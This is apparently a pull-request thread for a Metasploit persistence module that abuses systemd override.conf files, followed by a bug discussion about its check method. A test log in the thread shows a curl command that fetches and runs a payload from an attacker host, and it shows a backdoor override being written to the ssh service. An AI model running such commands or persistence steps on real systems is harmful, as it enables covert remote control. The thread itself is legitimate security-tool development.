persistence: systemd service override

[h00die]

Apparently theres a way to overload systemd services with an override.conf file in /etc/. Did you know that? I didn't. Well, now theres a module to exploit it. You need root which is suboptimal, and systemctl status shows your session being execute, but it also doesn't overwrite or create a NEW service, so its fairly stealthy?

Verification

• Start msfconsole
• exploit the box somehow (ssh_login for instance)
• get root
• use exploit/linux/persistence/init_systemd_override
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if service is restart
• Verify cleanup works
• Document is updated and correct

[msutovsky-r7]

Found a bug while testing:

msf exploit(linux/persistence/init_systemd_override) > check
[-] Exploit failed: NoMethodError undefined method `arch' for nil:NilClass
[-] Check failed: The state could not be determined.
msf exploit(linux/persistence/init_systemd_override) > run verbose=true 
msf exploit(linux/persistence/init_systemd_override) > run verbose=true [*] Command to run on remote host: curl -so ./LkgearXBzOrm http://192.168.3.7:8080/xjLe7cHOrd0bJcg1JEoaHQ;chmod +x ./LkgearXBzOrm;./LkgearXBzOrm&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

msf exploit(linux/persistence/init_systemd_override) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /xjLe7cHOrd0bJcg1JEoaHQ
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Backup copy of /etc/systemd/system/ssh.service.d/override.conf stored to: /home/ms/.msf4/loot/20250915163508_default_10.5.132.164_etcsystemdsys_925722.txt
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Reloading ssh service
[*] Client 10.5.132.164 requested /xjLe7cHOrd0bJcg1JEoaHQ
[*] Sending payload to 10.5.132.164 (curl/7.81.0)
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/10.5.132.164_20250915.3514/10.5.132.164_20250915.3514.rc
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 10.5.132.164:54192) at 2025-09-15 16:35:16 +0200

Not sure why, but seems like check method is broken - will investigate more.

[msutovsky-r7]

I think this looks like the condition in check method - is there a reason why here it's only writable_dir.start_with?('/tmp') and writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd' in check method?

[h00die]

This is part of an ongoing discussion with @dledda-r7 and how if you run exploit, it knows the payload so the payload.arch.first will work correctly with autocheck, however if you run check it won't run correctly. May be worth a guard? Open to suggestions.

[msutovsky-r7]

I think we should avoid using payload in check method in general. Doesn't make sense to use it there, since check method should only check whether the target is/is not vulnerable afaik